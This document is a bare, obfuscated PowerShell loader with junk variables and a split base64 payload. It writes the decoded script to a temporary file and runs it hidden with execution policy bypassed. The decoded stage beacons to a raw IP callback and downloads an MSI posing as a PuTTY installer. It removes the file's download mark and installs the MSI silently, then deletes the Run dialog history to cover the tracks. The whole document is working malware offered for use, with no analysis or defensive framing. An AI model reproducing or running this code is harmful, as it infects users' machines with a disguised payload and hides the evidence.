$nCAtqCbRK = [string]::Concat('whSp', 'NsEM') $xCtksjmS = 71 * 83 $uhUEIMLMKewP = [int]('6986') $igrVnmVTEy = [math]::Round(695.2394, 2) $EsidbWX = 'Cgp0cnkgewogICAgJFphRU54ID0gW2d1aWRdOjpOZXdHdWlkKCkuVG9TdHJpbmcoIk4iKTsgJGNidSA9ICJodHRwOi8vODkuMzQuOTAuMTU5L2RsLWNhbGxiYWNrL3BlZXZtbnB6LXBzZW5mNXM3LTkyN3VqYTNwLXVleTRleDluL3B1dHR5LTY0Yml0LTAuODQtaW5zdGFsbGVyLm1zaS8iICsgJFphRU54CiAgICAkeE5Bc1IgPSBbb3JkZXJlZF1Ae30KICAgICRyTHlWVCA9ICJYLVBhbmVsLUNhbGxiYWNrIgogICAgJGFIR1NkID0gIjEiCiAgICAkeE5Bc1JbJHJMeVZUXSA9ICRhSEdTZAogICAgJElISFIgPSAnSW52b2tlLVdlJzsgJElISFIgKz0gJ2JSZXF1ZXN0JwogICAgJiAkSUhIUiAtVXJpICRjYnUgLUhlYWRlcnMgJHhOQXNSIC1Vc2VCYXNpY1BhcnNpbmcgLVRpbWVvdXRTZWMgMTUgfCBPdXQtTnVsbAp9IGNhdGNoIHsKICAgIHRyeSB7CiAgICAgICAgJFpIQ0R4ID0gTmV3LU9iamVjdCAoJ05ldC4nICsgJ1dlYkNsaWVudCcpCiAgICAgICAgJFpIQ0R4LkhlYWRlcnMuQWRkKCRyTHlWVCwgJGFIR1NkKQogICAgICAgIFt2b2lkXSRaSENEeC5Eb3dubG9hZFN0cmluZygkY2J1KQogICAgICAgICRaSENEeC5EaXNwb3NlKCkKICAgIH0gY2F0Y2ggewogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRyd2dLYyA9IFtTeXN0ZW0uTmV0LldlYlJlcXVlc3RdOjpDcmVhdGUoJGNidSkKICAgICAgICAgICAgJHJ3Z0tjLk1ldGhvZCA9ICdHRVQnCiAgICAgICAgICAgICRyd2dLYy5UaW1lb3V0ID0gMTUwMDA' $pOYSZTosX = 'KICAgICAgICAgICAgJHJ3Z0tjLkhlYWRlcnMuQWRkKCRyTHlWVCwgJGFIR1NkKQogICAgICAgICAgICAkciA9ICRyd2dLYy5HZXRSZXNwb25zZSgpCiAgICAgICAgICAgICRyLkNsb3NlKCkKICAgICAgICB9IGNhdGNoIHsgfQogICAgfQp9CiRrREJtTkMgPSBKb2luLVBhdGggJGVudjpMT0NBTEFQUERBVEEgIlNoZWxsRGF0YSIKTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtUGF0aCAka0RCbU5DIC1Gb3JjZSB8IE91dC1OdWxsCmZ1bmN0aW9uIEpNUXpuRFNnTHJIIHsKICAgIHBhcmFtKFtzdHJpbmddJHUsIFtzdHJpbmddJHApCiAgICAkU1RYTlEgPSAkZmFsc2UKICAgICRpckh5RyA9ICJYLVBhbmVsLUludGVybmFsIgogICAgJFB3V2Z5ID0gIjEiCiAgICAkZlJnRSA9ICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMjUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMjUuMCIKICAgIFtOZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbTmV0LlNlY3VyaXR5UHJvdG9jb2xUeXBlXTo6VGxzMTIKICAgIDEuLjMgfCBGb3JFYWNoLU9iamVjdCB7CiAgICAgICAgaWYgKCRTVFhOUSkgeyByZXR1cm4gfQogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRlcUVaWCA9IFtvcmRlcmVkXUB7fQogICAgICAgICAgICAkZXFFWlhbIlVzZXItQWdlbnQiXSA9ICRmUmdFCiAgICAgICAgICAgICRlcUVaWFskaXJIeUddID0gJFB3V2Z5Ci' $yKLIqtmTqp = 'AgICAgICAgICAgICRRTGlKID0gJ0ludm9rZS1XZSc7ICRRTGlKICs9ICdiUmVxdWVzdCcKICAgICAgICAgICAgJiAkUUxpSiAtVXJpICR1IC1IZWFkZXJzICRlcUVaWCAtVXNlQmFzaWNQYXJzaW5nIC1UaW1lb3V0U2VjIDE4MDAgLU91dEZpbGUgJHAKICAgICAgICAgICAgaWYgKChUZXN0LVBhdGggJHApIC1hbmQgKChHZXQtSXRlbSAkcCkuTGVuZ3RoIC1ndCAwKSkgeyAkU1RYTlEgPSAkdHJ1ZSB9CiAgICAgICAgfSBjYXRjaCB7CiAgICAgICAgICAgIFN0YXJ0LVNsZWVwIC1TZWNvbmRzIDIKICAgICAgICB9CiAgICB9CiAgICBpZiAoLW5vdCAkU1RYTlEpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkVHVBS1ogPSBOZXctT2JqZWN0ICgnTmV0LicgKyAnV2ViQ2xpZW50JykKICAgICAgICAgICAgJFR1QUtaLkhlYWRlcnMuQWRkKCJVc2VyLUFnZW50IiwgJGZSZ0UpCiAgICAgICAgICAgICRUdUFLWi5IZWFkZXJzLkFkZCgkaXJIeUcsICRQd1dmeSkKICAgICAgICAgICAgJFR1QUtaLkRvd25sb2FkRmlsZSgkdSwgJHApCiAgICAgICAgICAgIGlmICgoVGVzdC1QYXRoICRwKSAtYW5kICgoR2V0LUl0ZW0gJHApLkxlbmd0aCAtZ3QgMCkpIHsgJFNUWE5RID0gJHRydWUgfQogICAgICAgIH0gY2F0Y2ggeyB9CiAgICB9CiAgICByZXR1cm4gJFNUWE5RCn0KCmZ1bmN0aW9uIFd5TUFMSVogewogICAgcGFyYW0oW3N0cmluZ10kcCkKICAgIGZvciAoJHc9MDsgJHcgLWx0IDEyOyAkdysrKSB7IGlmI' $qCLlPqLm = 'CgoVGVzdC1QYXRoICRwKSAtYW5kICgoR2V0LUl0ZW0gJHApLkxlbmd0aCAtZ3QgMCkpIHsgYnJlYWsgfTsgU3RhcnQtU2xlZXAgLU1pbGxpc2Vjb25kcyA0MDAgfQppZiAoLW5vdCAoVGVzdC1QYXRoICRwKSkgeyByZXR1cm4gfQp0cnkgeyBVbmJsb2NrLUZpbGUgLVBhdGggJHAgLUVBIDAgfSBjYXRjaCB7IH0KdHJ5IHsgUmVtb3ZlLUl0ZW0gLVBhdGggJHAgLVN0cmVhbSBab25lLklkZW50aWZpZXIgLUVBIDAgfSBjYXRjaCB7IH0KICAgICRQU0hPID0gSm9pbi1QYXRoICRlbnY6U3lzdGVtUm9vdCAoIlN5c3RlbTMyXCIgKyAibXNpIiArICJleGVjLmV4ZSIpCiAgICBTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAkUFNITyAtQXJndW1lbnRMaXN0IEAoIi9pIiwgJHAsICIvcW4iLCAiL25vcmVzdGFydCIpIC1XaW5kb3dTdHlsZSBIaWRkZW4gLVdhaXQKfQokT1BGY1d2ID0gImh0dHBzOi8vcHViLWI0ZWUzNmJmMmJiZDQzYWM5ZDg0ZTY3ZTlhNmZjOWQ5LnIyLmRldi9wdXR0eS02NGJpdC0wLjg0LWluc3RhbGxlci5tc2kiCiRXdHVHTm4gPSBKb2luLVBhdGggJGtEQm1OQyAicHV0dHktNjRiaXQtMC44NC1pbnN0YWxsZXIubXNpIgppZiAoJiBKTVF6bkRTZ0xySCAkT1BGY1d2ICRXdHVHTm4pIHsKICAgICYgV3lNQUxJWiAkV3R1R05uCn0KcmVnIGRlbGV0ZSAiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxFeHBsb3JlclxSdW5NUlUiIC92YSAvZiAyPiRudWxsCg==' $btanzLPV = $EsidbWX + $pOYSZTosX + $yKLIqtmTqp + $qCLlPqLm $cpZQPQdY = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($btanzLPV)) $xCtksjmS = 71 * 83 $uhUEIMLMKewP = [int]('6986') $igrVnmVTEy = [math]::Round(695.2394, 2) $oFIuZzs = 39 * 84 $eutghivs = [string]::Concat('WNaF', 'fiPj') $gWIUSZb = 'QvdmyZ'.ToUpper() $dwynVHDj = Join-Path $env:TEMP ([IO.Path]::GetRandomFileName() + '.ps1') [IO.File]::WriteAllText($dwynVHDj, $cpZQPQdY, (New-Object System.Text.UTF8Encoding $false)) Start-Process powershell.exe -WindowStyle Hidden -ArgumentList @('-NoProfile','-WindowStyle','Hidden','-ExecutionPolicy','Bypass','-File',$dwynVHDj) $nCAtqCbRK = [string]::Concat('whSp', 'NsEM') $xCtksjmS = 71 * 83 $uhUEIMLMKewP = [int]('6986') $igrVnmVTEy = [math]::Round(695.2394, 2) $oFIuZzs = 39 * 84 $eutghivs = [string]::Concat('WNaF', 'fiPj') $gWIUSZb = 'QvdmyZ'.ToUpper() reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f 2>$null